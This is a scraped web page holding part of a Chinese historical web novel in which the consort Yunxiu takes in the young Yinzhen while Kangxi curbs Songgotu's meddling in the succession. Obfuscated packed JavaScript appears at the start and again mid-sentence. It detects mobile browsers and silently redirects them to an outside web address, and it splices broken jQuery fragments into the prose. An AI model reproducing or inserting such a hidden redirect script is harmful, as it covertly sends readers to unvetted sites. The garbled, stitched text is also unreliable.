l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092615|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个好额娘,小八没留住,也伤了胤禛的心。”皇贵妃今日就是想着和云秀说些掏心窝子的话,言谈间也很是坦诚,“德妃……虽说我也不明白德妃为何如此厌恶胤禛,但胤禛还小,他想必更想不明白,这孩子心里头难过。” 在皇贵妃的视角里,是她把胤禛抢到身边抚养,也是她不让德妃见胤禛,德妃恨她无可厚非,可为何对胤禛也如此仇视? 这个问题别说皇贵妃了,在后世都是未解之谜,云秀也不知道答案。 毕竟德妃这偏心可谓是离谱了,历史上哪怕胤禛都已经登基了,她都拒不接受册封她为太后,甚至当着众人的面都能说出想不明白为什么康熙会把皇位传给胤禛。 来自亲额娘的背刺让本来就没有遗旨靠隆科多传的口谕继位的胤禛雪上加霜。 所以云秀也抿着唇哑口无言,不知道该说什么。 “我说这些并不是让你可怜胤禛。”皇贵妃也不在乎云秀的沉默,继续说:“只是想让你知道这孩子过地苦,日后盼他在你宫里能舒心一二。” 云秀握住皇贵妃已经瘦地筋骨尽突的手,向她承诺:“放心,我会好好照看胤禛的。” 皇贵妃笑了笑没再说话,似乎是没力气了,也似乎是没有旁的事想要再交代了。 云秀走出寝殿,看到胤禛已经在院中等着她了,宫人们给他穿上了墨色的斗篷,戴着棕色的鹿绒小帽,静静地站在那等着她带他回去。 云秀扬起一个笑容,上前牵起胤禛的手:“给你皇额娘再磕个头,咱们就回家去吧。” 家…… 这个词似乎微瞬之间拨动了胤禛的心弦,又很快平静了下来,他乖巧地遥遥冲着皇贵妃的寝殿磕了个头,随后起身由着云秀牵着他的手走出了承乾宫。 胤禛感受着云秀温暖又柔软的掌心,有些懵懵懂懂地抬头看着云秀的侧脸,不知道为什么突然想起了那天在慈宁宫,他也是这样抬头看到慧贵妃抱着八弟离开的模样,原来就是这样的感觉。 总之,还不错。 也许,慧贵妃娘娘真的会对他好。 慈宁宫内,鎏金铜兽香炉中升起的阵阵白烟缠绕而上,逐渐消散在半空中,留下浓厚而淡雅的檀香气味。 太皇太后手中捻着紫檀木的佛珠,微微阖着眼睛,太后坐在太皇太后身侧也是垂眉敛目,康熙与两位老祖宗相对而坐,正低头品茶。 “皇祖母,听说康亲王和福晋昨儿递牌子进宫来看您了?”康熙淡声问道。 太皇太后睁开眼,将手中的佛珠放到了桌上,微微笑着说:“杰书和福晋有日子没进宫了,昨儿进宫说了些什么北征沙俄的事,哀家也是听地稀里糊涂的。” 太皇太后也没想着瞒着康熙,她不理朝政已久,看着自己抚养长大的孙子已经能够乾纲独断,威压众臣,她便早就想着在宫中含饴弄孙,不理会朝中的事了,但太皇太后毕竟历经三朝,扶持过两任皇帝,即使这么多年过去在朝中的威望还是有的,故而也总有人会求到太皇太后跟前来。 14. 第十四章 康亲王杰书是顺治时期的老人了,虽是宗室旁系可出身极高,是六大铁帽子王之一,杰书在平三藩收台湾时都曾领兵出征,创下过不小的战绩,是宗室的核心人物,康熙对其也算是看重。 而他的福晋也是出身科尔沁,虽然和太皇太后不是一支,但终归都是出身蒙古,也算是能说得上话。 除此之外,杰书还有一个人尽皆知的身份,便是他与索额图私交甚笃,一向是扶保太子的。 昨儿这两口子就破天荒地隔了数年入宫来探望太皇太后了。 “朝廷要对哪儿出兵是国事,哀家老了也听不怎么明白,便没多留,让他们夫妻俩回去了。” 太皇太后看向康熙说:“不过盛京那边的事哀家倒还是略知一二,先帝在的时候沙俄便盘踞东北,烧杀掳掠,你皇阿玛曾经三次出兵,可惜当时朝中不稳也都是不了了之,这也是你皇阿玛的一块心病了,若能在你手里了结了此事,也算是宽慰你皇阿玛的在天之灵了。” 康熙近来在忙的就是这事,沙俄盘踞掠夺之处靠近他们大清的龙兴之地,如今都已经有四十余年了,他亲政之后就一直挂念着这事,不过那时朝中鳌拜当权,除了鳌拜又是平三藩,郑经的儿子郑克塽向大清投降也才是去年的事,台湾的事一了,他便正式在朝会上把北击沙俄提上了日程,岂料朝中大臣大半都是畏战反对的。 明面上的缘由是朝廷连年征战是该好好休养生息,而且沙俄已经在东北侵占了四十余年,要想收复也不是一日之功,得缓缓地来。 而实际上的原因康熙心里门清。 这群人不过都是觉得东北苦寒且贫穷积弱,没什么好搜刮的好处,仗也不好打罢了,去年挥师南下的时候倒是都抢着去。 不过对如今的康熙来说这些反对的声量已经构不成什么大麻烦了,他力排众议乾纲独断,这场仗是非打不可。 只是总有些人还有小心思,譬如康亲王,便寻摸到太皇太后这来了。 康熙听完太皇太后的话,便明白自己这位皇祖母也是站在他这一边的,或者说这些年一直都是如此。 他语气放缓了些:“这几年朝中事多,总有不长眼的来扰了皇祖母清净,也是孙儿的罪过。” “你这说的是哪的话。”太皇太后笑道:“皇帝这几年辛苦,哀家都知道,有这么一个勤政的皇帝也是我大清之福。” 太皇太后确实是打心眼里对康熙这个皇帝很是满意,帝王该有的杀伐果决,乾纲独断,眼界高远,他一样都不缺,哪怕是日后她见了爱新觉罗的列祖列宗也算是有个交代了。 太后是一向不掺和这些朝政的,她操心的则更多是宫中的事,见康熙和太皇太后议完了朝政,太后才开口问道:“哀家听闻皇帝刚刚下旨把胤禛送去长春宫了?” 太皇太后也抬了抬眼看过来。 康熙神色如常,微微颔首说:“是,皇贵妃身患重疾无力抚养胤禛,也是皇贵妃再三向朕陈情,想要把胤禛托付给慧贵妃。” “孙儿想着慧贵妃通医术,把胤禩教养地也极好,确实适宜抚育胤禛便允了。” 康熙说地云淡风轻,可极为熟悉他的太皇太后一眼就瞧出来了康熙平静的眼眸底下的汹涌。 太皇太后:“德妃确实偏心太过,皇贵妃不放心把胤禛交还给她也是情有可原,既然皇帝已经下旨,云秀是个有分寸的,自然会好好照看胤禛。” 太后也在一旁点头。 窗外传来一两声清脆的鸟叫声,太皇太后透过窗棂看出去也笑起来:“如今雪化了,天也暖和了,确实是个好时节,皇帝无事也多出去走走,对身子也好。” “近来慧贵妃常为孙儿推按,确实是大有益处,如今身子已经松快多了。”康熙如今提起云秀,言谈中也熟稔了不少。 太皇太后和太后相视一笑没再说什么,康熙也没再多留,又说了几句话便回养心殿看折子去了。 “果然是见面三分情啊。”太皇太后感叹道,“你瞧,如今皇帝对云秀就热络多了。” 外面的朝政如何太皇太后是不想操心也懒地操心了,只记挂着云秀和几个孙子。 太后想了想还是觉得有些不妥当:“皇额娘,云秀养着胤禛是不是有些太显眼了,胤禩……” 太后的话没有说完,太皇太后却明白她的顾虑,她重新拾起桌上的佛珠,淡淡地说:“儿孙自有儿孙福,咱们就别操心了。” “云秀喜爱胤禛,便让她养着吧,至于以后的事谁也说不准。” 太后颔首,也不再提了。 胤禩虽然是如今她们蒙古血脉的独苗,可太皇太后和太后还从没有要让胤禩取太子而代之的想法,而且如今孩子都还小,两个老祖宗也不过是作为长辈想让自己疼爱的孙儿能平安顺遂一生罢了。 康熙出了慈宁宫,龙辇已经在宫外候着了,他摆了摆手没坐轿撵想着自己走一走,梁九功跟在康熙身侧,轻声说:“皇上,太子殿下方才去了养心殿,已经在殿中跪下了,说是要代索额图大人向您请罪。” 康熙的脚步一顿,眸中闪过一抹寒光,随后又迅速地消失不见,淡声问:“索额图入宫了?” “是,去毓庆宫见过了太子,不到一刻钟的功夫便走了。” 索额图是康熙的元后赫舍里氏的亲叔叔,也就是太子的叔姥爷,更是太子在朝廷中的倚仗,从前康熙允过索额图可以随时入宫看望太子,只不过今时不同往日了。 康熙在原地停留了一会儿,沉眉思索着,最后开口说:“告诉托合齐,索额图如今虽然还是佐领,但朕已经除去了他的全部官职,日后除非有朕的手谕,不许他再进宫见太子。” 梁九功一惊,但很快恭敬地回:“嗻。” 看来皇上这次是真对索额图大人生了大气了。 康熙近来怒火中烧也不都是因为朝中大臣怯战,这些事他都已经驾轻就熟,如何掌控朝野也是信手拈来,最让他气急的是索额图已经因为结党营私被他罢免了官职赋闲在家,结果手还伸地那么长,竟然想插手北征的将领安排。 康熙前年借祭祖的名义亲自去黑龙江一带视察过后,钦点了黑龙江将军萨布素和彭春领兵,结果索额图只是因为这二人是明珠门下的人,便想横生枝节,另加阻挠。 索额图和明珠不合是朝野上下尽知的事,这两人互掐都有几十年了,可谓是不死不休,绝无再和解之可能,从康熙还没亲政掐到如今皇子们都渐渐长大了。 索额图扶保太子不必多言,那明珠没法子只能选了大阿哥。 所以索额图这次插手北征之事实际上也是储位之争,在为了太子和大阿哥打擂台。 康熙允许索额图扶持太子,但绝不允许索额图因为夺嫡而损害朝廷,尤其是带着太子一起行这种不轨之事,简直把康熙气地差点想直接杀了索额图。 所以为了给索额图和太子一个警醒,也是为了平衡朝野,他才深思熟虑,最终决定把胤禛交给云秀抚养。 而这一举动的目的则是彻底地把胤禩托到台面上来,一来警示索额图和明珠,二来也能把朝堂的事再搅地浑一些,水越浑才越能捞到大鱼。 而且经此一事,康熙的心态也有些转变了。 太子长大了,有自己的心思身边也有自己的羽翼,他若是再一味护着太子恐怕就不是什么好事了,如今看来,或许制衡之术才是最合适的。 康熙正准备回养心殿,抬眼便看到苏麻喇姑带着五阿哥和胤禩从前头转过来,他这才意识到原来已经到了尚书房下学的时辰了。 胤禩也没想到居然在慈宁宫门口和康熙撞上了,他抿着唇一副心情不是很好的模样,康熙看着自己这两个儿子走过来,规规矩矩地向自己问安眉头一挑,问:“胤禩,怎么看着不大高兴?” 胤祺这孩子自小没心眼什么时候都乐颠颠的,也就在他这个皇阿玛面前还畏惧老实一点,倒是胤禩,他聪明会装相,极少见他臭脸的模样。 胤禩确实心里有点别扭,但谈不上不高兴。 方才苏麻喇姑去尚书房接他们的时候告诉了他,额娘没来接他是因为去承乾宫接四哥了,以后四哥就要住在他们长春宫,由额娘抚养了。 得知这个消息的胤禩小脸一下子就垮下来了。 他之前是帮四哥出头,可那是路见不平拔刀相助,实在看不惯六哥欺负人,可这不代表他和四哥十分亲近啊,他和四哥脾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092616|195496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一向合不来,以后住在同一屋檐下还不得麻烦死。 而且额娘以后多了一个儿子,肯定就要分走额娘的关心和爱了,让他怎么能高兴地起来! 康熙还不知道胤禩这个小脑袋瓜里在琢磨些什么,不过这些日子云秀的努力还是有些效果的,康熙现在对胤禩就比之前要亲近了些,见他这副气呼呼的小模样不回他的话,非但没生气还笑了声:“小小年纪气性倒不小,朕已经下旨让胤禛挪到长春宫去,以后你们养在一处,可不许乱发脾气欺负你四哥。” 胤禩:“……” 本来就烦,还提! 五阿哥在一旁探头探脑,等到康熙走了才戳了戳胤禩的胳膊问:“四哥真的要住到长春宫去啊?” 那以后他们两个是不是就可以和四哥一起玩了? 五阿哥心思单纯,自然而然地就把云秀养着的孩子当做自己人了。 胤禩哼了一声,踢了踢脚下的石子,四哥来的第一天,额娘就不去尚书房接他下学了,这以后可还了得! 云秀还不知道自己这个宝贝儿子在生闷气,已经给他四哥记了一笔了,她带着胤禛回了长春宫,宫人们知道宫里又要来一位小主子都高兴地不得了,把院子里扫了又扫,还特意多挂上了几盏宫灯图个热闹。 胤禛没怎么来过长春宫,他小心翼翼又认真地打量。 其实东西六宫的布局都是大差不差的,只是各宫娘娘偏爱地不一样,所以收拾出来的模样也不同,像皇贵妃从前喜爱奢华,承乾宫便是富丽堂皇,宜妃喜欢花,翊坤宫中便移栽了不少名种,德妃偏爱山石永和宫中便是假山流水的景。 而长春宫没有什么花鸟珍宝,因着刚刚过完新年的缘故,摆放的多都是些红灯笼和福字,树上还有些如意结,除此之外便是一股草药的清香味。 若是在新年的时候,定然更漂亮,胤禛想着。 云秀牵着胤禛进了内殿,殿里地龙烧地正旺,屋子里都是暖洋洋的,云秀解了披风,回头一看胤禛颇有些拘谨地站在一边看她。 “去榻上坐会儿歇一歇。”云秀回头笑着说:“半夏,去拿小厨房做的南瓜奶糕来给胤禛尝尝。” 半夏笑着应是,退下去拿糕点,豆蔻和佩兰也仔细地为胤禛解下斗篷,又脱了有些被雪水浸湿的靴子。 “奴婢不知道四阿哥喜欢喝什么,这是八阿哥平常爱喝的奶茶,和宫里的不一样,娘娘做成了甜的,四阿哥尝尝可还喜欢?” 半夏不仅拿了糕点上来,还给胤禛上了杯奶茶,这奶茶也是云秀改良过的,她喝不怎么惯宫里的咸奶茶便尝试着做了些甜的,很得小孩子的欢心,胤禩和五阿哥都极喜欢。 胤禛尝了一口奶茶,眼睛就亮了一下,然后又低头喝了两口,云秀笑着问:“怎么样,喜欢吗?” 在这种口腹之欲上这么急切,让胤禛的脸有些红,他矜持地点了点头,小声说:“喜欢。” 到底还是小孩,还是挺好哄的嘛,云秀在心里想道。 胤禛慢慢地吃了半盘南瓜奶糕,云秀便没再让他吃了,怕他积食待会吃不下午膳,又亲自给他看了看手腕上的伤口,切了脉,这才松了口气。 “已经好地差不多了,再过两日伤口应该就结痂了。” 云秀笑着给胤禛换药,胤禛垂眸看着云秀小心翼翼地给他涂药,生怕弄疼了他的模样,眼睫颤了颤,抿唇说:“谢过慧娘娘。” “这有什么好谢的。” 云秀给他重新包扎好伤口,半夏也把午膳摆上来了,胤禛看了一圈没看到胤禩的身影问:“慧娘娘,八弟还没下学吗?” 云秀给胤禛舀了一碗滋补的甲鱼汤,笑着说:“胤禩去慈宁宫用午膳了,待会儿慧娘娘就去把他接回来。” 胤禛点了点头,他还是有些紧张和局促,话也不多。 云秀原本想着胤禛虽然性子有些沉闷板正但是很懂事,胤禩又是和哪个阿哥都能说上两句话的小人精,还刚刚给他四哥出了头,两兄弟养在一块应该问题不大,挺好相处的。 没想到结果却大大出乎了她的意料。 似乎是八贤王和雍正的历史光环发力了,胤禩开始鸡飞狗跳地跟他四哥较劲。